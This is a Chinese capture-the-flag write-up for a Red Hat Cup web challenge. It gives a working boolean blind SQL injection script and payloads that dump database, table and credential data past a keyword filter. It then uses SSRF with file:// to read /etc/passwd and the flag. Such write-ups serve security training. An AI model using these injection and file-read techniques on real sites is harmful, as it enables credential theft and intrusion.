CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger(布尔盲注、SSRF )
场景描述:最新的网站测试器,作为非站长的你,能利用好它的功能吗?
场景打开后,如下,是个登录框
查看源码,发现可能的注入点 /image.php?id=2
图片的id貌似是跟数据库存在交互的,下图中长度177的都是被过滤的关键字
布尔盲注
/image.php?id=if(1=1,1,5) True /image.php?id=if(1=2,1,5) False
条件为真时?id=1,回显第一张图片,条件为假时?id=5,没有id=5的图片,什么都没有。即可作为布尔盲注判断条件
编写简单的Python盲注脚本
import string from requests import * allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~' myurl = 'http://xxx.com/image.php' info = '' for i in range(1,50): for s in allstr: payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s)) resp = get(url=myurl+payload) if len(resp.text) > 4000: info += s print(info)
payload
爆破数据库 payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s)) 爆破表名 payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s)) 爆破列名(失败?) payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'),{},1))={},1,5)'.format(i,ord(s)) 爆破字段值 payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))
关键函数解释
- mid() 函数:截取字符串一部分,mid(column_name,start[,length])
- ord() 函数:是 chr() 函数(对于8位的ASCII字符串),它以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值。返回值是对应的十进制整数。
- group_concat() 函数:连接一个组的所有字符串,并以逗号分隔每一条数据。能一次性查出所有信息。group_concat(str1,str2,...)
注入查询到信息
Current_database: ctf Tables_in_ctf: users,images Columns_in_users: username,password values_in_users: adminf5b86501931f812ed3833dee67a43603
得到用户名admin,密码f5b86501931f812ed3833dee67a43603,登录成功后显示如下
尝试输入127.0.0.1测试
curl这里应该存在SSRF
尝试file://协议去读文件,成功
file:///etc/passwd
直接读flag
file:///flag
参考:https://blog.csdn.net/mochu7777777/article/details/116570606